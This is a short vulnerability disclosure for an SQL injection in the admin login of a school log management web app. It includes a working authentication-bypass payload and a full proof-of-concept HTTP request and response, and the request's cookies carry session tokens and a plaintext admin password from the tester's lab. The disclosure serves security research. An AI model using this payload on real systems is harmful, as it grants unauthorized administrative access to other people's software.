sourcecodester_School Log Management System_SQL_INJECTION_1.md

[description]

School Log Management System was discovered to contain a SQL Injection vulnerability via the URI /admin/ajax.php?action=login.

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[Vulnerability Type]

SQL Injection

---

[Vendor of Product]

https://www.sourcecodester.com/php/14562/school-log-management-system-using-phpmysqli-source-code.html

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[Affected Product Code Base]

1.0

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[Impact Escalation of Privileges]

true

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[POC]
Use the following data as username,and any characters as password,you can login as well：

admin' or '1'='1

Request :

POST /admin/ajax.php?action=login HTTP/1.1
Host: 192.168.0.183:11180
Content-Length: 40
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.183:11180
Referer: http://192.168.0.183:11180/admin/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: i18next=en; Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImU0ZjJhZWJmLWVkMDEtNGM0OC04YjU4LTI3OTFjMzllMzFmMCJ9.0J-cqM7f9-cNNDe8_Q3CAiWkq4iyNqLDbBUh6mnYfRl1Ygv4HPIp3Ky1cbbpN3_4Zr8lYluJ5-nEunFvF84Xyw; sidebarStatus=0; pro_end=-1; ltd_end=-1; serverType=nginx; order=id%20desc; memSize=32012; sites_path=/www/wwwroot; distribution=ubuntu; force=0; uploadSize=1073741824; rank=a; form_proxy=%5Bobject%20Object%5D; backup_path=/www/backup; _ga=GA1.1.2111016145.1721287966; _ga_J1DQF09WZC=GS1.1.1721287966.1.1.1721292532.0.0.0; weberp_installation=li98qb9dmcjbkupdsthditlpb3; files_sort=name; showRow=2000; Module=AP; PHPSESSIDwebERPteam=hnbgetkfg5o9mdts1ul0tt7a92; name_reverse=True; copyFileName=null; is_admin=false; cutFileName=null; username=admin; userpwd=admin123456; ispwd=1; BatchPaste=2; pnull=1; p-1=nullnot_load; softType=0; load_type=0; p0=1; load_page=1; load_search=apache; SESSIONID=28d91387-18a2-434a-ae96-03bacb61f632.1ddtyn-D2JpW__TOYHawkV5aWtM; request_token=rgTjWkc5GvhSH7vGBAWa0xRtebrkCk3jDrp3Ii2TdrGU3CbY; layers=5; PHPSESSID=git91lpt9et0atu8q4dg73890i; vcodesum=12; BatchSelected=null; Path=/www/wwwroot/111.com/admin
Connection: keep-alive

username=admin'+or+'1'%3D'1&password=111

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 26 Jul 2024 03:01:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1

1

Which '1' stands for success.Then you will be logged in the system.